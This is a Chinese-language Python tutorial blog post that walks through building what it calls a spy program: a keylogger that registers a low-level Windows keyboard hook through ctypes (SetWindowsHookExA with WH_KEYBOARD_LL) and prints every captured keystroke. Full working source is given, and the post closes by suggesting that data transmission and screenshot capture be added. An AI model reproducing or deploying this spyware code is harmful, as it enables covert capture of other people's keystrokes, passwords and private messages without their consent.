使用Python打造一款间谍程序的流程分析


Posted in Python onFebruary 21, 2020

知识点

这次我们使用python来打造一款间谍程序

程序中会用到许多知识点,大致分为四块

win32API 此处可以在MSDN上查看

Python基础重点在cpytes库的使用,使用方法请点击此处

C语言基础

Hook

程序的基本原理在于通过注册Hook,记录系统事件

那么什么是Hook呢

Hook 技术又叫做钩子函数,系统在调用函数之前,钩子程序就先捕获该消息,钩子函数先得到控制权,这时钩子函数既可以加工处理(改变)该函数的执行行为,还可以强制结束消息的传递

注册Hook时我们需要先导入DLL库,在Python中我们使用ctypes来导入,导入方法如下

user32 = CDLL("user32.dll")
kernel32 = CDLL("kernel32.dll")

我们导入了user32.dll和kernel32.dll

这两个DLL有什么用处呢

user32.dll

是Windows用户界面相关应用程序接口,用于包括Windows处理,基本用户界面等特性,如创建窗口和发送消息

kernel32.dll

控制着系统的内存管理、数据的输入输出操作和中断处理

流程部分

知道了我们要使用什么样的工具,那么第一步应该怎么做呢

1.首先我们需要先注册Hook到系统上,通过user32.dll中的SetWindowsHookExA函数,我们可以在系统上注册钩子

HHOOK SetWindowsHookExA(
 int idHook,
 HOOKPROC lpfn,
 HINSTANCE hmod,
 DWORD dwThreadId
);

通过查看文档我们看到SetWindowsHookExA函数的参数及参数类型如上所示,详细文档点击此链接查看

通过文档我们看到第一个参数idHook中填入钩子的类型

WH_KEYBOARD_LL的常量值为13代表的意思是监视低级键盘输入事件,我们此处来监听键盘事件

第二个参数lpfn代表指向钩子过程的指针,要填入钩子过程(函数),我们可以在此处来添加额外代码达到我们想要达成的目的

第三个参数hmod表示为DLL句柄,我们可以使用kernel32中的GetModuleHandleW来获取句柄

最后一个参数dwThreadId我们填入0代表与同一桌面上所有的线程关联

代码如下

user32.SetWindowsHookExA(13,handleProc,kernel32.GetModuleHandleW(),0)

如何使用Python来编写我们的钩子过程呢,通过ctypes文档我们可以得知windows下使用WINFUNCTYPE来创建函数

此时我们发现有WINFUNCTYPE和CFUNCTYPE两个函数,具体要使用哪一个呢,这两个的区别为

WINFUNCTYPE

为Windows下独有的,通过使用使用stdcall调用约定的函数

CFUNCTYPE

 使用标准C调用约定的函数

HOOKPROC = WINFUNCTYPE(c_int, c_int, c_int, POINTER(DWORD))

因为我们调用的是WH_KEYBOARD_LL,WH_KEYBOARD_LL会使用LowLevelKeyboardProc回调函数,同时我们也需要在Python定义它

LowLevelKeyboardProc数据结构如下

LRESULT CALLBACK LowLevelKeyboardProc(
 _In_ int nCode,
 _In_ WPARAM wParam,
 _In_ LPARAM lParam
);

按照官方文档提示如果nCode小于零,则挂钩过程必须将消息传递给CallNextHookEx函数,而无需进一步处理,并且应返回CallNextHookEx返回的值

我们转换为Python代码

class KBDLLHOOKSTRUCT(Structure):
 _fields_ = [
 ('vkCode', DWORD),
 ('scanCode', DWORD),
 ('flags', DWORD),
 ('time', DWORD),
 ('dwExtraInfo', DWORD)]

def hookProc(nCode, wParam, lParam):
 if nCode < 0:
 return user32.CallNextHookEx(hooked, nCode, wParam, lParam)
 else:
 # 此处插入我们的代码
 pass
 return user32.CallNextHookEx(hooked, nCode, wParam, lParam)

最后在我们退出程序时还需要删除Hook,不然大量的Hook会使系统运行缓慢,虽然在Windows 7及更高版本上,该钩子会被静默删除而不被调用。应用程序无法知道挂钩是否已删除。我们还是主动进行删除

删除需要使用user32.dll的UnhookWindowsHookEx,参数为Hook句柄

user32.UnhookWindowsHookEx(hooked)

下面贴上全部代码

import sys
from ctypes import *
from ctypes.wintypes import DWORD, HHOOK, HINSTANCE, MSG, WPARAM, LPARAM
user32 = CDLL("user32.dll")
kernel32 = CDLL("kernel32.dll")
class KBDLLHOOKSTRUCT(Structure):
 _fields_ = [
 ('vkCode', DWORD),
 ('scanCode', DWORD),
 ('flags', DWORD),
 ('time', DWORD),
 ('dwExtraInfo', DWORD)]
def uninstallHookProc(hooked):
 if hooked is None:
 return
 user32.UnhookWindowsHookEx(hooked)
 hooked = None
def hookProc(nCode, wParam, lParam):
 if nCode < 0:
 return user32.CallNextHookEx(hooked, nCode, wParam, lParam)
 else:
 if wParam == 256:
 if 162 == lParam.contents.value:
 print("Ctrl pressed, call Hook uninstall()")
 uninstallHookProc(hooked)
 sys.exit(-1)
 capsLock = user32.GetKeyState(20)
 # kb_struct = cast(lParam, POINTER(KBDLLHOOKSTRUCT))
 if lParam.contents.value==13:
 print("\n")
 elif capsLock:
 print(chr(lParam.contents.value),end="")
 else:
 print(chr(lParam.contents.value+32),end="")
 return user32.CallNextHookEx(hooked, nCode, wParam, lParam)
def startKeyLog():
 msg = MSG()
 user32.GetMessageA(byref(msg), 0, 0, 0)
def installHookProc(hooked, pointer):
 hooked = user32.SetWindowsHookExA(
 13,
 pointer,
 kernel32.GetModuleHandleW(),
 0
 )
 if not hooked:
 return False
 return True
HOOKPROC = WINFUNCTYPE(c_int, c_int, c_int, POINTER(DWORD))
pointer = HOOKPROC(hookProc)
hooked = None
if installHookProc(hooked, pointer):
 print("Hook installed")
 try:
 msg = MSG()
 user32.GetMessageA(byref(msg), 0, 0, 0)
 except KeyboardInterrupt as kerror:
 uninstallHookProc(hooked)
 print("Hook uninstall...")
else:
 print("Hook installed error")

贴上我们的效果图

使用Python打造一款间谍程序的流程分析

我们还可以再添加上额外的代码比如数据传输,截屏等等 ^_^

如何想要了解更多的只是请点击这里把 => 地址

总结

以上就是使用Python打造一款间谍程序的流程分析的详细内容,更多关于python间谍程序请关注三水点靠木其它相关文章!

Python 相关文章推荐
举例讲解Python设计模式编程中的访问者与观察者模式
Jan 26 Python
django1.8使用表单上传文件的实现方法
Nov 04 Python
Python爬取网易云音乐热门评论
Mar 31 Python
flask中的wtforms使用方法
Jul 21 Python
Python实现查找字符串数组最长公共前缀示例
Mar 27 Python
pytorch 在sequential中使用view来reshape的例子
Aug 20 Python
python用类实现文章敏感词的过滤方法示例
Oct 27 Python
解决Python命令行下退格,删除,方向键乱码(亲测有效)
Jan 16 Python
PyCharm配置anaconda环境的步骤详解
Jul 31 Python
Python tempfile模块生成临时文件和临时目录
Sep 30 Python
pycharm 使用tab跳出正在编辑的括号(){}{}等问题
Feb 26 Python
python-opencv 中值滤波{cv2.medianBlur(src, ksize)}的用法
Jun 05 Python
python实现堆排序的实例讲解
Feb 21 #Python
Python中的sys.stdout.write实现打印刷新功能
Feb 21 #Python
Python控制台输出时刷新当前行内容而不是输出新行的实现
Feb 21 #Python
python编程进阶之异常处理用法实例分析
Feb 21 #Python
python编程进阶之类和对象用法实例分析
Feb 21 #Python
Python面向对象中类(class)的简单理解与用法分析
Feb 21 #Python
Python利用 utf-8-sig 编码格式解决写入 csv 文件乱码问题
Feb 21 #Python
You might like
国产动画《伍六七》原声大碟大卖,啊哈娱乐引领音乐赋能IP的新尝试
2020/03/08 国漫
PHP 服务器配置(使用Apache及IIS两种方法)
2009/06/01 PHP
PHP正则表达式之定界符和原子介绍
2012/10/05 PHP
PHP同时连接多个mysql数据库示例代码
2014/03/17 PHP
为你总结一些php信息函数
2015/10/21 PHP
ext 同步和异步示例代码
2009/09/18 Javascript
javascript 快速排序函数代码
2012/05/30 Javascript
浅析jquery的作用与优势
2013/12/02 Javascript
js中对象的声明方式以及数组的一些用法示例
2013/12/11 Javascript
构造函数+原型模式构造js自定义对象(最通用)
2014/05/12 Javascript
jQuery中delegate()方法用法实例
2015/01/19 Javascript
js操作滚动条事件实例
2015/01/29 Javascript
Windows系统中安装nodejs图文教程
2015/02/28 NodeJs
AngularJS 模块详解及简单实例
2016/07/28 Javascript
js实现字符全排列算法的简单方法
2017/05/01 Javascript
javascript 初学教程及五子棋小程序的简单实现
2017/07/04 Javascript
vue项目实战总结篇
2018/02/11 Javascript
详解基于Vue-cli搭建的项目如何和后台交互
2018/06/29 Javascript
jquery.pagination.js分页使用教程
2018/10/23 jQuery
vue中组件通信详解(父子组件, 爷孙组件, 兄弟组件)
2020/07/27 Javascript
跟老齐学Python之折腾一下目录
2014/10/24 Python
Python创建系统目录的方法
2015/03/11 Python
使用Python的Tornado框架实现一个简单的WebQQ机器人
2015/04/24 Python
python编写计算器功能
2019/10/25 Python
tensorflow 限制显存大小的实现
2020/02/03 Python
Python实现PS滤镜中的USM锐化效果
2020/12/04 Python
HTML5 CSS3给网站设计带来出色效果
2009/07/16 HTML / CSS
localStorage的过期时间设置的方法详解
2018/11/26 HTML / CSS
台湾乐天市场:日本No.1的网路购物网站
2017/03/22 全球购物
会计顶岗实习心得
2014/01/25 职场文书
读群众路线的心得体会
2014/09/03 职场文书
2015年党员公开承诺事项
2015/04/27 职场文书
2015年小学师德师风建设工作总结
2015/10/23 职场文书
六五普法心得体会2016
2016/01/21 职场文书
导游词之上海杜莎夫人蜡像馆
2019/11/22 职场文书
python使用tkinter实现透明窗体上绘制随机出现的小球(实例代码)
2021/05/17 Python